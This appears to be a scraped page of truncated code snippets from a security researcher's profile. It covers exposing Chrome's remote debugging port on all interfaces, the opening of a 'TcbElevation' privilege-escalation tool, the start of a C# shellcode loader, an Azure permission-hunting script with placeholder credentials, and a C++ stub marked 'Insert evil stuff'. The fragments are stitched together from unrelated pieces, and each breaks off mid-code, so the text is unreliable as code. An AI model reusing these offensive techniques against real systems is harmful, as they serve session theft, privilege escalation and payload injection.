davidlebr1 davidlebr1

Start Chrome with the following flags:

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

--remote-debugging-port=9222

--remote-debugging-address=0.0.0.0

	import os
	import argparse
	import hashlib
	import json
	from itertools import islice

	def file_to_hex(filename):
	"""Convert file content to a hex string."""
	with open(filename, 'rb') as file:
	content = file.read()

	import os
	import argparse
	import hashlib

	def file_to_hex(filename):
	"""Convert file content to a hex string."""
	with open(filename, 'rb') as file:
	content = file.read()
	return content.hex(), content

	# os_type application description value
	1 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\Program Files\Autodesk\
	2 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\Program Files\common Files\Autodesk\
	3 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\Program Files (x86)\Autodesk\
	4 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\Program Files (x86)\common Files\Autodesk\
	5 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume\Program File\Common Files\Autodesk Shared\
	6 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume\Program File\AutoCAD*\
	7 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\ProgramData\Autodesk\
	8 windows AutoCAD Interoperability Limitations with AutoCAD \Device\HarddiskVolume*\ProgramData\Flexnet\
	9 windows AutoCAD Interoperability Limitations with AutoCAD \Device

	// TcbElevation - Authors: @splinter_code and @decoder_it

	#define SECURITY_WIN32
	#include <windows.h>
	#include <sspi.h>
	#include <stdio.h>

	#pragma comment(lib, "Secur32.lib")

	void EnableTcbPrivilege(BOOL enforceCheck);

	//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs

	using System;
	using System.Runtime.InteropServices;
	using System.Reflection;
	using System.Reflection.Emit;

	namespace ShellcodeLoader
	{
	class Program

	## Find dangerous API permissions as a user

	$AzureTenantID = '<Your tenant ID>'
	$AccountName = '<Username>@<Domain.com>'
	$Password = ConvertTo-SecureString '<Your password>' -AsPlainText -Force
	$Credential = New-Object System.Management.Automation.PSCredential($AccountName, $Password)
	Connect-AzAccount -Credential $Credential -TenantID $AzureTenantID

	function Get-AzureGraphToken
	{

	#include <Windows.h>
	#include <intrin.h>
	#include <string>
	#include <TlHelp32.h>
	#include <psapi.h>

	DWORD WINAPI Thread(LPVOID lpParam) {
	// Insert evil stuff

	ExitProcess(0);